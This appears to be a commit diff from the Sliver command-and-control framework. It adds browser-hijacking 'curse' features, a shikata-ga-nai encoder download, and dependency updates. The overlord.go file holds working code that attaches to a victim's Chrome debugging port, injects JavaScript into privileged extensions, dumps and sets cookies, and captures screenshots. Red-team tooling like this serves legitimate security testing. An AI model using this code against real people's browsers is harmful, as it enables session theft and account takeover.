 				con.PrintErrorf("Could not get beacon task content: %s\n", err)
 			}
@@ -524,6 +567,34 @@ func (con *SliverConsoleClient) SpinUntil(message string, ctrl chan bool) {
 	go spin.Until(con.App.Stdout(), message, ctrl)
 }
 
+// FormatDateDelta - Generate formatted date string of the time delta between then and now
+func (con *SliverConsoleClient) FormatDateDelta(t time.Time, includeDate bool, color bool) string {
+	nextTime := t.Format(time.UnixDate)
+
+	var interval string
+
+	if t.Before(time.Now()) {
+		if includeDate {
+			interval = fmt.Sprintf("%s (%s ago)", nextTime, time.Since(t).Round(time.Second))
+		} else {
+			interval = time.Since(t).Round(time.Second).String()
+		}
+		if color {
+			interval = fmt.Sprintf("%s%s%s", Bold+Red, interval, Normal)
+		}
+	} else {
+		if includeDate {
+			interval = fmt.Sprintf("%s (in %s)", nextTime, time.Until(t).Round(time.Second))
+		} else {
+			interval = time.Until(t).Round(time.Second).String()
+		}
+		if color {
+			interval = fmt.Sprintf("%s%s%s", Bold+Green, interval, Normal)
+		}
+	}
+	return interval
+}
+
 //
 // -------------------------- [ Active Target ] --------------------------
 //

client/constants/constants.go

@@ -88,6 +88,15 @@ const (
 
 	// BeaconTaskResult - Beacon task completed with a result
 	BeaconTaskResultEvent = "beacon-taskresult"
+
+	// ExternalBuildEvent
+	ExternalBuildEvent          = "external-build"
+	AcknowledgeBuildEvent       = "external-acknowledge"
+	ExternalBuildFailedEvent    = "external-build-failed"
+	ExternalBuildCompletedEvent = "external-build-completed"
+
+	// WireGuardNewPeer - New Wireguard peer added
+	WireGuardNewPeer = "wireguard-newpeer"
 )
 
 // Commands
@@ -104,6 +113,7 @@ const (
 	ReconfigStr     = "reconfig"
 	PruneStr        = "prune"
 	TasksStr        = "tasks"
+	CancelStr       = "cancel"
 	GenerateStr     = "generate"
 	RegenerateStr   = "regenerate"
 	CompilerInfoStr = "info"
@@ -177,6 +187,11 @@ const (
 	UploadStr   = "upload"
 	IfconfigStr = "ifconfig"
 	NetstatStr  = "netstat"
+	ChmodStr    = "chmod"
+	ChownStr    = "chown"
+	ChtimesStr  = "chtimes"
+
+	MemfilesStr = "memfiles"
 
 	ProcdumpStr         = "procdump"
 	ImpersonateStr      = "impersonate"
@@ -223,8 +238,9 @@ const (
 	InteractiveStr        = "interactive"
 	CloseStr              = "close"
 
-	PortfwdStr = "portfwd"
-	Socks5Str  = "socks5"
+	PortfwdStr  = "portfwd"
+	Socks5Str   = "socks5"
+	RportfwdStr = "rportfwd"
 
 	ReactionStr = "reaction"
 
@@ -236,6 +252,17 @@ const (
 	GetPrivsStr        = "getprivs"
 	PreludeOperatorStr = "prelude-operator"
 	ConnectStr         = "connect"
+
+	ShikataGaNai = "shikata-ga-nai"
+
+	Cursed         = "cursed"
+	CursedChrome   = "chrome"
+	CursedConsole  = "console"
+	CursedElectron = "electron"
+	CursedEdge     = "edge"
+	CursedCookies  = "cookies"
+
+	BuildersStr = "builders"
 )
 
 // Groups

client/core/curses.go

@@ -0,0 +1,92 @@
+package core
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"fmt"
+	"net/url"
+	"sync"
+)
+
+var (
+	// SessionID -> CursedProcess
+	CursedProcesses = &sync.Map{}
+)
+
+type CursedProcess struct {
+	SessionID         string
+	PID               uint32
+	BindTCPPort       int
+	PortFwd           *Portfwd
+	Platform          string
+	ExePath           string
+	ChromeUserDataDir string
+}
+
+func (c *CursedProcess) DebugURL() *url.URL {
+	return &url.URL{
+		Scheme: "http",
+		Host:   fmt.Sprintf("localhost:%d", c.BindTCPPort),
+		Path:   "/json",
+	}
+}
+
+func CursedProcessBySessionID(sessionID string) []*CursedProcess {
+	var cursedProcesses []*CursedProcess
+	CursedProcesses.Range(func(key, value interface{}) bool {
+		cursedProcess := value.(*CursedProcess)
+		if cursedProcess.SessionID == sessionID {
+			cursedProcesses = append(cursedProcesses, cursedProcess)
+		}
+		return true
+	})
+	return cursedProcesses
+}
+
+func CloseCursedProcesses(sessionID string) {
+	CursedProcesses.Range(func(key, value interface{}) bool {
+		cursedProcess := value.(*CursedProcess)
+		if cursedProcess.SessionID == sessionID {
+			defer func() {
+				value, loaded := CursedProcesses.LoadAndDelete(key)
+				if loaded {
+					curse := value.(*CursedProcess)
+					Portfwds.Remove(curse.PortFwd.ID)
+				}
+			}()
+		}
+		return true
+	})
+}
+
+func CloseCursedProcessesByBindPort(sessionID string, bindPort int) {
+	CursedProcesses.Range(func(key, value interface{}) bool {
+		cursedProcess := value.(*CursedProcess)
+		if cursedProcess.SessionID == sessionID && cursedProcess.BindTCPPort == bindPort {
+			defer func() {
+				value, loaded := CursedProcesses.LoadAndDelete(key)
+				if loaded {
+					curse := value.(*CursedProcess)
+					Portfwds.Remove(curse.PortFwd.ID)
+				}
+			}()
+		}
+		return true
+	})
+}

client/licenses/licenses.go

@@ -85,6 +85,30 @@ POSSIBILITY OF SUCH DAMAGE.
 
 ======================================================================================================
 
+MIT License
+
+Copyright (c) 2019 Ege Balcı
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
+
+======================================================================================================
+
 BSD 3-Clause License
 
 Copyright (c) 2018, b4rtik

client/overlord/overlord.go

@@ -0,0 +1,368 @@
+package overlord
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"encoding/json"
+	"errors"
+	"io"
+	"log"
+	"net/http"
+	"net/url"
+	"time"
+
+	"github.com/bishopfox/sliver/client/core"
+	"github.com/chromedp/cdproto/cdp"
+	"github.com/chromedp/cdproto/network"
+	"github.com/chromedp/cdproto/page"
+	"github.com/chromedp/cdproto/storage"
+	"github.com/chromedp/cdproto/target"
+	"github.com/chromedp/chromedp"
+)
+
+const (
+	// AllURLs - All URLs permission
+	AllURLs = "<all_urls>"
+
+	// AllHTTP - All HTTP permission
+	AllHTTP = "http://*/*"
+
+	// AllHTTPS - All HTTP permission
+	AllHTTPS = "https://*/*"
+
+	// WebRequest - WebRequest permission
+	WebRequest = "webRequest"
+
+	// WebRequestBlocking - WebRequestBlocking permission
+	WebRequestBlocking = "webRequestBlocking"
+
+	// FetchManifestJS - Get extension manifest
+	FetchManifestJS = "(() => { return chrome.runtime.getManifest(); })()"
+)
+
+var (
+	// ErrTargetNotFound - Returned when a target cannot be found
+	ErrTargetNotFound = errors.New("target not found")
+)
+
+// ManifestBackground - An extension manifest file
+type ManifestBackground struct {
+	Scripts    []string `json:"scripts"`
+	Persistent bool     `json:"persistent"`
+}
+
+// Manifest - An extension manifest file
+type Manifest struct {
+	Name            string             `json:"name"`
+	Version         string             `json:"version"`
+	Description     string             `json:"description"`
+	ManifestVersion int                `json:"manifest_version"`
+	Permissions     []string           `json:"permissions"`
+	Background      ManifestBackground `json:"background"`
+}
+
+// ChromeDebugTarget - A single debug context object
+type ChromeDebugTarget struct {
+	Description          string `json:"description"`
+	DevToolsFrontendURL  string `json:"devtoolsFrontendUrl"`
+	ID                   string `json:"id"`
+	Title                string `json:"title"`
+	Type                 string `json:"type"`
+	URL                  string `json:"url"`
+	WebSocketDebuggerURL string `json:"webSocketDebuggerUrl"`
+}
+
+var allocCtx context.Context
+
+func getContextOptions(userHomeDir string, platform string) []func(*chromedp.ExecAllocator) {
+	opts := []func(*chromedp.ExecAllocator){
+		chromedp.Flag("restore-last-session", true),
+		chromedp.UserDataDir(userHomeDir),
+	}
+	switch platform {
+	case "darwin":
+		opts = append(opts,
+			chromedp.Flag("headless", false),
+			chromedp.Flag("use-mock-keychain", false),
+		)
+	default:
+		opts = append(opts, chromedp.Headless)
+	}
+	opts = append(chromedp.DefaultExecAllocatorOptions[:], opts...)
+	return opts
+}
+
+func GetChromeContext(webSocketURL string, curse *core.CursedProcess) (context.Context, context.CancelFunc, context.CancelFunc) {
+	var (
+		cancel context.CancelFunc
+	)
+	if webSocketURL != "" {
+		allocCtx, cancel = chromedp.NewRemoteAllocator(context.Background(), webSocketURL)
+	} else {
+		opts := getContextOptions(curse.ChromeUserDataDir, curse.Platform)
+		allocCtx, cancel = chromedp.NewExecAllocator(context.Background(), opts...)
+	}
+	taskCtx, taskCancel := chromedp.NewContext(allocCtx, chromedp.WithLogf(log.Printf))
+	return taskCtx, taskCancel, cancel
+}
+
+func findTargetInfoByID(ctx context.Context, targetID string) *target.Info {
+	targets, err := chromedp.Targets(ctx)
+	if err != nil {
+		return nil
+	}
+	for _, targetInfo := range targets {
+		if targetInfo.TargetID.String() == targetID {
+			return targetInfo
+		}
+	}
+	return nil
+}
+
+func contains(haystack []string, needle string) bool {
+	set := make(map[string]struct{}, len(haystack))
+	for _, entry := range haystack {
+		set[entry] = struct{}{}
+	}
+	_, ok := set[needle]
+	return ok
+}
+
+func containsAll(haystack []string, needles []string) bool {
+	all := true
+	for _, needle := range needles {
+		if !contains(haystack, needle) {
+			all = false
+			break
+		}
+	}
+	return all
+}
+
+// ExecuteJS - injects a JavaScript code into a target
+func ExecuteJS(ctx context.Context, string, targetID string, jsCode string) ([]byte, error) {
+	targetInfo := findTargetInfoByID(ctx, targetID)
+	if targetInfo == nil {
+		return nil, ErrTargetNotFound
+	}
+	extCtx, _ := chromedp.NewContext(ctx, chromedp.WithTargetID(targetInfo.TargetID))
+	var result []byte
+	evalTasks := chromedp.Tasks{
+		chromedp.Evaluate(jsCode, &result),
+	}
+	err := chromedp.Run(extCtx, evalTasks)
+	return result, err
+}
+
+// FindExtensionWithPermissions - Find an extension with a permission
+func FindExtensionWithPermissions(curse *core.CursedProcess, permissions []string) (*ChromeDebugTarget, error) {
+	targets, err := QueryExtensionDebugTargets(curse.DebugURL().String())
+	if err != nil {
+		return nil, err
+	}
+	for _, target := range targets {
+		ctx, _, _ := GetChromeContext(target.WebSocketDebuggerURL, curse)
+		result, err := ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, FetchManifestJS)
+		if err != nil {
+			continue
+		}
+		manifest := &Manifest{}
+		err = json.Unmarshal(result, manifest)
+		if err != nil {
+			continue
+		}
+		if containsAll(manifest.Permissions, permissions) {
+			return &target, nil
+		}
+	}
+	return nil, nil // No targets, no errors
+}
+
+// FindExtensionsWithPermissions - Find an extension with a permission
+func FindExtensionsWithPermissions(curse *core.CursedProcess, permissions []string) ([]*ChromeDebugTarget, error) {
+	targets, err := QueryExtensionDebugTargets(curse.DebugURL().String())
+	if err != nil {
+		return nil, err
+	}
+	extensions := []*ChromeDebugTarget{}
+	for _, target := range targets {
+		ctx, _, _ := GetChromeContext(target.WebSocketDebuggerURL, curse)
+		result, err := ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, FetchManifestJS)
+		if err != nil {
+			continue
+		}
+		manifest := &Manifest{}
+		err = json.Unmarshal(result, manifest)
+		if err != nil {
+			continue
+		}
+		if containsAll(manifest.Permissions, permissions) {
+			extensions = append(extensions, &target)
+		}
+	}
+	return extensions, nil
+}
+
+// QueryDebugTargets - Query debug listener using HTTP client
+func QueryDebugTargets(debugURL string) ([]ChromeDebugTarget, error) {
+	resp, err := http.Get(debugURL)
+	if err != nil {
+		return nil, err
+	}
+	if resp.StatusCode != 200 {
+		return nil, errors.New("non-200 status code")
+	}
+	data, err := io.ReadAll(resp.Body)
+	if err != nil {
+		return nil, err
+	}
+	debugContexts := []ChromeDebugTarget{}
+	err = json.Unmarshal(data, &debugContexts)
+	return debugContexts, err
+}
+
+// QueryExtensionDebugTargets - Query debug listener using HTTP client for Extensions only
+func QueryExtensionDebugTargets(debugURL string) ([]ChromeDebugTarget, error) {
+	resp, err := http.Get(debugURL)
+	if err != nil {
+		return nil, err
+	}
+	if resp.StatusCode != 200 {
+		return nil, errors.New("non-200 status code")
+	}
+	data, err := io.ReadAll(resp.Body)
+	if err != nil {
+		return nil, err
+	}
+	debugContexts := []ChromeDebugTarget{}
+	err = json.Unmarshal(data, &debugContexts)
+	if err != nil {
+		return nil, err
+	}
+	extensionContexts := []ChromeDebugTarget{}
+	for _, debugCtx := range debugContexts {
+		ctxURL, err := url.Parse(debugCtx.URL)
+		if err != nil {
+			continue
+		}
+		if ctxURL.Scheme == "chrome-extension" {
+			extensionContexts = append(extensionContexts, debugCtx)
+		}
+	}
+	return extensionContexts, nil
+}
+
+// DumpCookies - Dump all cookies from the remote debug target
+func DumpCookies(curse *core.CursedProcess, webSocketURL string) ([]*network.Cookie, error) {
+	var cookies []*network.Cookie
+	var err error
+	dumpCookieTasks := chromedp.Tasks{
+		// read network values
+		chromedp.ActionFunc(func(ctx context.Context) error {
+			cookies, err = storage.GetCookies().Do(ctx)
+			if err != nil {
+				return err
+			}
+			return nil
+		}),
+	}
+	taskCtx, taskCancel, cancel := GetChromeContext(webSocketURL, curse)
+	defer taskCancel()
+	defer cancel()
+	ctx, _ := chromedp.NewContext(taskCtx)
+	if err := chromedp.Run(ctx, dumpCookieTasks); err != nil {
+		return cookies, err
+	}
+	return cookies, nil
+}
+
+func SetCookie(curse *core.CursedProcess, webSocketURL string, host string, cookies ...string) (string, error) {
+	var res string
+	setCookieTasks := chromedp.Tasks{
+		chromedp.ActionFunc(func(ctx context.Context) error {
+			// create cookie expiration
+			expr := cdp.TimeSinceEpoch(time.Now().Add(180 * 24 * time.Hour))
+			// add cookies to chrome
+			for i := 0; i < len(cookies); i += 2 {
+				err := network.SetCookie(cookies[i], cookies[i+1]).
+					WithExpires(&expr).
+					WithDomain("localhost").
+					WithHTTPOnly(true).
+					Do(ctx)
+				if err != nil {
+					return err
+				}
+			}
+			return nil
+		}),
+		// navigate to site
+		// chromedp.Navigate(host),
+		// read the returned values
+		// chromedp.Text(`#result`, &res, chromedp.ByID, chromedp.NodeVisible),
+	}
+	taskCtx, taskCancel, cancel := GetChromeContext(webSocketURL, curse)
+	defer taskCancel()
+	defer cancel()
+	ctx, _ := chromedp.NewContext(taskCtx)
+	if err := chromedp.Run(ctx, setCookieTasks); err != nil {
+		return "", err
+	}
+
+	return res, nil
+}
+
+// Screenshot - Take a screenshot of a Chrome context
+func Screenshot(curse *core.CursedProcess, webSocketURL string, targetID string, quality int64) ([]byte, error) {
+	var result []byte
+	screenshotTask := chromedp.Tasks{
+		chromedp.ActionFunc(func(ctx context.Context) error {
+			_, _, _, _, _, contentSize, err := page.GetLayoutMetrics().Do(ctx)
+			if err != nil {
+				return err
+			}
+			result, err = page.CaptureScreenshot().
+				WithQuality(quality).
+				WithClip(&page.Viewport{
+					X:      contentSize.X,
+					Y:      contentSize.Y,
+					Width:  contentSize.Width,
+					Height: contentSize.Height,
+					Scale:  1,
+				}).Do(ctx)
+			if err != nil {
+				return err
+			}
+			return nil
+		}),
+	}
+
+	taskCtx, taskCancel, cancel := GetChromeContext(webSocketURL, curse)
+	defer taskCancel()
+	defer cancel()
+	targetInfo := findTargetInfoByID(taskCtx, targetID)
+	if targetInfo == nil {
+		return []byte{}, ErrTargetNotFound
+	}
+	ctx, _ := chromedp.NewContext(taskCtx, chromedp.WithTargetID(targetInfo.TargetID))
+	if err := chromedp.Run(ctx, screenshotTask); err != nil {
+		return nil, err
+	}
+	return result, nil
+}

docs/Gemfile

@@ -37,3 +37,5 @@ gem "wdm", "~> 0.1.0", :install_if => Gem.win_platform?
 # kramdown v1, comment out this line.
 gem "kramdown-parser-gfm"
 
+
+gem "webrick", "~> 1.8"

docs/Gemfile.lock

@@ -1,62 +1,43 @@
 GEM
   remote: https://rubygems.org/
   specs:
-    activesupport (6.0.4.6)
+    activesupport (6.0.6.1)
       concurrent-ruby (~> 1.0, >= 1.0.2)
       i18n (>= 0.7, < 2)
       minitest (~> 5.1)
       tzinfo (~> 1.1)
       zeitwerk (~> 2.2, >= 2.2.2)
-    addressable (2.8.0)
-      public_suffix (>= 2.0.2, < 5.0)
+    addressable (2.8.1)
+      public_suffix (>= 2.0.2, < 6.0)
     coffee-script (2.4.1)
       coffee-script-source
       execjs
     coffee-script-source (1.11.1)
     colorator (1.1.0)
-    commonmarker (0.23.4)
-    concurrent-ruby (1.1.9)
+    commonmarker (0.23.9)
+    concurrent-ruby (1.2.0)
     dnsruby (1.61.9)
       simpleidn (~> 0.1)
     em-websocket (0.5.3)
       eventmachine (>= 0.12.9)
       http_parser.rb (~> 0)
-    ethon (0.15.0)
+    ethon (0.16.0)
       ffi (>= 1.15.0)
     eventmachine (1.2.7)
     execjs (2.8.1)
-    faraday (1.10.0)
-      faraday-em_http (~> 1.0)
-      faraday-em_synchrony (~> 1.0)
-      faraday-excon (~> 1.1)
-      faraday-httpclient (~> 1.0)
-      faraday-multipart (~> 1.0)
-      faraday-net_http (~> 1.0)
-      faraday-net_http_persistent (~> 1.0)
-      faraday-patron (~> 1.0)
-      faraday-rack (~> 1.0)
-      faraday-retry (~> 1.0)
+    faraday (2.7.4)
+      faraday-net_http (>= 2.0, < 3.1)
       ruby2_keywords (>= 0.0.4)
-    faraday-em_http (1.0.0)
-    faraday-em_synchrony (1.0.0)
-    faraday-excon (1.1.0)
-    faraday-httpclient (1.0.1)
-    faraday-multipart (1.0.3)
-      multipart-post (>= 1.2, < 3)
-    faraday-net_http (1.0.1)
-    faraday-net_http_persistent (1.2.0)
-    faraday-patron (1.0.0)
-    faraday-rack (1.0.0)
-    faraday-retry (1.0.3)
+    faraday-net_http (3.0.2)
     ffi (1.15.5)
     forwardable-extended (2.6.0)
     gemoji (3.0.1)
-    github-pages (225)
+    github-pages (228)
       github-pages-health-check (= 1.17.9)
-      jekyll (= 3.9.0)
+      jekyll (= 3.9.3)
       jekyll-avatar (= 0.7.0)
       jekyll-coffeescript (= 1.1.1)
-      jekyll-commonmark-ghpages (= 0.2.0)
+      jekyll-commonmark-ghpages (= 0.4.0)
       jekyll-default-layout (= 0.1.4)
       jekyll-feed (= 0.15.1)
       jekyll-gist (= 1.5.0)
@@ -88,12 +69,12 @@ GEM
       jekyll-theme-time-machine (= 0.2.0)
       jekyll-titles-from-headings (= 0.5.3)
       jemoji (= 0.12.0)
-      kramdown (= 2.3.1)
+      kramdown (= 2.3.2)
       kramdown-parser-gfm (= 1.1.0)
-      liquid (= 4.0.3)
+      liquid (= 4.0.4)
       mercenary (~> 0.3)
       minima (= 2.5.1)
-      nokogiri (>= 1.12.5, < 2.0)
+      nokogiri (>= 1.13.6, < 2.0)
       rouge (= 3.26.0)
       terminal-table (~> 1.4)
     github-pages-health-check (1.17.9)
@@ -102,17 +83,17 @@ GEM
       octokit (~> 4.0)
       public_suffix (>= 3.0, < 5.0)
       typhoeus (~> 1.3)
-    html-pipeline (2.14.0)
+    html-pipeline (2.14.3)
       activesupport (>= 2)
       nokogiri (>= 1.4)
     http_parser.rb (0.8.0)
-    i18n (0.9.5)
+    i18n (1.12.0)
       concurrent-ruby (~> 1.0)
-    jekyll (3.9.0)
+    jekyll (3.9.3)
       addressable (~> 2.4)
       colorator (~> 1.0)
       em-websocket (~> 0.5)
-      i18n (~> 0.7)
+      i18n (>= 0.7, < 2)
       jekyll-sass-converter (~> 1.0)
       jekyll-watch (~> 2.0)
       kramdown (>= 1.17, < 3)
@@ -128,11 +109,11 @@ GEM
       coffee-script-source (~> 1.11.1)
     jekyll-commonmark (1.4.0)
       commonmarker (~> 0.22)
-    jekyll-commonmark-ghpages (0.2.0)
-      commonmarker (~> 0.23.4)
+    jekyll-commonmark-ghpages (0.4.0)
+      commonmarker (~> 0.23.7)
       jekyll (~> 3.9.0)
       jekyll-commonmark (~> 1.4.0)
-      rouge (>= 2.0, < 4.0)
+      rouge (>= 2.0, < 5.0)
     jekyll-default-layout (0.1.4)
       jekyll (~> 3.0)
     jekyll-feed (0.15.1)
@@ -216,33 +197,32 @@ GEM
       gemoji (~> 3.0)
       html-pipeline (~> 2.2)
       jekyll (>= 3.0, < 5.0)
-    kramdown (2.3.1)
+    kramdown (2.3.2)
       rexml
     kramdown-parser-gfm (1.1.0)
       kramdown (~> 2.0)
-    liquid (4.0.3)
-    listen (3.7.1)
+    liquid (4.0.4)
+    listen (3.8.0)
       rb-fsevent (~> 0.10, >= 0.10.3)
       rb-inotify (~> 0.9, >= 0.9.10)
     mercenary (0.3.6)
-    mini_portile2 (2.8.0)
+    mini_portile2 (2.8.1)
     minima (2.5.1)
       jekyll (>= 3.5, < 5.0)
       jekyll-feed (~> 0.9)
       jekyll-seo-tag (~> 2.1)
-    minitest (5.15.0)
-    multipart-post (2.1.1)
-    nokogiri (1.13.6)
+    minitest (5.17.0)
+    nokogiri (1.14.3)
       mini_portile2 (~> 2.8.0)
       racc (~> 1.4)
-    octokit (4.22.0)
-      faraday (>= 0.9)
-      sawyer (~> 0.8.0, >= 0.5.3)
+    octokit (4.25.1)
+      faraday (>= 1, < 3)
+      sawyer (~> 0.9)
     pathutil (0.16.2)
       forwardable-extended (~> 2.6)
-    public_suffix (4.0.6)
-    racc (1.6.0)
-    rb-fsevent (0.11.1)
+    public_suffix (4.0.7)
+    racc (1.6.2)
+    rb-fsevent (0.11.2)
     rb-inotify (0.10.1)
       ffi (~> 1.0)
     rexml (3.2.5)
@@ -255,9 +235,9 @@ GEM
     sass-listen (4.0.0)
       rb-fsevent (~> 0.9, >= 0.9.4)
       rb-inotify (~> 0.9, >= 0.9.7)
-    sawyer (0.8.2)
+    sawyer (0.9.2)
       addressable (>= 2.3.5)
-      faraday (> 0.8, < 2.0)
+      faraday (>= 0.17.3, < 3)
     simpleidn (0.2.1)
       unf (~> 0.1.4)
     terminal-table (1.8.0)
@@ -265,16 +245,17 @@ GEM
     thread_safe (0.3.6)
     typhoeus (1.4.0)
       ethon (>= 0.9.0)
-    tzinfo (1.2.10)
+    tzinfo (1.2.11)
       thread_safe (~> 0.1)
-    tzinfo-data (1.2021.5)
+    tzinfo-data (1.2022.7)
       tzinfo (>= 1.0.0)
     unf (0.1.4)
       unf_ext
-    unf_ext (0.0.8)
+    unf_ext (0.0.8.2)
     unicode-display_width (1.8.0)
     wdm (0.1.1)
-    zeitwerk (2.5.4)
+    webrick (1.8.1)
+    zeitwerk (2.6.7)
 
 PLATFORMS
   ruby
@@ -287,6 +268,7 @@ DEPENDENCIES
   tzinfo (~> 1.2)
   tzinfo-data
   wdm (~> 0.1.0)
+  webrick (~> 1.8)
 
 BUNDLED WITH
-   1.17.3
+   2.4.6

docs/_config.yml

@@ -31,6 +31,15 @@ show_downloads: true
 plugins:
   - jekyll-feed
 
+plugins:
+  - jekyll-notion
+
+# https://www.notion.so/sliver-sh/Sliver-4bbf1c77cabc46e09428c871283683d3?pvs=4
+notion:
+  fetch_on_watch: true
+  databases:
+    - id: 4bbf1c77cabc46e09428c871283683d3
+
 # Exclude from processing.
 # The following items will not be processed, by default. Create a custom list
 # to override the default setting.

docs/install

@@ -10,13 +10,13 @@ fi
 
 if [ -n "$(command -v yum)" ]
 then
-    yum -y install gnupg curl gcc gcc-c++ make mingw64-gcc
+    yum -y install gnupg curl gcc gcc-c++ make mingw64-gcc git
 fi
 
 if [ -n "$(command -v apt-get)" ]
 then
     DEBIAN_FRONTEND=noninteractive apt-get install -yqq \
-        gpg curl build-essential \
+        gpg curl build-essential git \
         mingw-w64 binutils-mingw-w64 g++-mingw-w64
 fi
 
@@ -130,7 +130,8 @@ fi
 
 if test -f "/root/$SLIVER_CLIENT"; then
     chmod 755 /root/$SLIVER_CLIENT 
-    cp -vv /root/$SLIVER_CLIENT /usr/local/bin/sliver
+    cp -vv /root/$SLIVER_CLIENT /usr/local/bin/sliver-client
+    ln -s /usr/local/bin/sliver-client /usr/local/bin/sliver
     chmod 755 /usr/local/bin/sliver
 else
     exit 3
@@ -170,6 +171,6 @@ for USER_DIR in "${USER_DIRS[@]}"; do
     if id -u $USER >/dev/null 2>&1; then
         mkdir -p $USER_DIR/.sliver-client/configs
         /root/sliver-server operator --name $USER --lhost localhost --save $USER_DIR/.sliver-client/configs
-        chown -R $USER:$USER $USER_DIR/.sliver-client/
+        chown -R $USER:"$(id -gn $USER)" $USER_DIR/.sliver-client/
     fi
-done
+done

go-assets.sh

@@ -20,12 +20,12 @@ set -e
 
 # Creates the static go asset archives
 
-GO_VER="1.18.4"
-GARBLE_VER="1.18.0"
+GO_VER="1.20.4"
+GARBLE_VER="1.20.4"
+SGN_VER="0.0.3"
 
 GO_ARCH_1="amd64"
 GO_ARCH_2="arm64"
-GO_ARCH_3="386"
 BLOAT_FILES="AUTHORS CONTRIBUTORS PATENTS VERSION favicon.ico robots.txt SECURITY.md CONTRIBUTING.md LICENSE README.md ./doc ./test ./api ./misc"
 
 if ! [ -x "$(command -v curl)" ]; then
@@ -156,8 +156,8 @@ echo "-----------------------------------------------------------------"
 
 echo "curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux"
 curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux
-echo "curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux"
-curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux
+echo "curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux-$GO_ARCH_2"
+curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux-$GO_ARCH_2
 echo "curl -L --fail --output $OUTPUT_DIR/windows/$GO_ARCH_1/garble.exe https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_windows.exe"
 curl -L --fail --output $OUTPUT_DIR/windows/$GO_ARCH_1/garble.exe https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_windows.exe
 echo "curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_1"
@@ -165,6 +165,31 @@ curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_1/garble https://github.com/
 echo "curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_2"
 curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_2
 
+
+echo "-----------------------------------------------------------------"
+echo " Shikata ga nai (ノ ゜Д゜)ノ ︵ 仕方がない"
+echo "-----------------------------------------------------------------"
+
+# Linux (amd64)
+echo "curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_1/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_linux-$GO_ARCH_1.zip"
+curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_1/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_linux-$GO_ARCH_1.zip
+
+# Linux (arm64)
+echo "curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_2/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_linux-$GO_ARCH_2.zip"
+curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_2/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_linux-$GO_ARCH_2.zip
+
+# Windows (amd64)
+echo "curl -L --fail --output $OUTPUT_DIR/windows/$GO_ARCH_1/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_windows-$GO_ARCH_1.zip"
+curl -L --fail --output $OUTPUT_DIR/windows/$GO_ARCH_1/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_windows-$GO_ARCH_1.zip
+
+# MacOS (amd64)
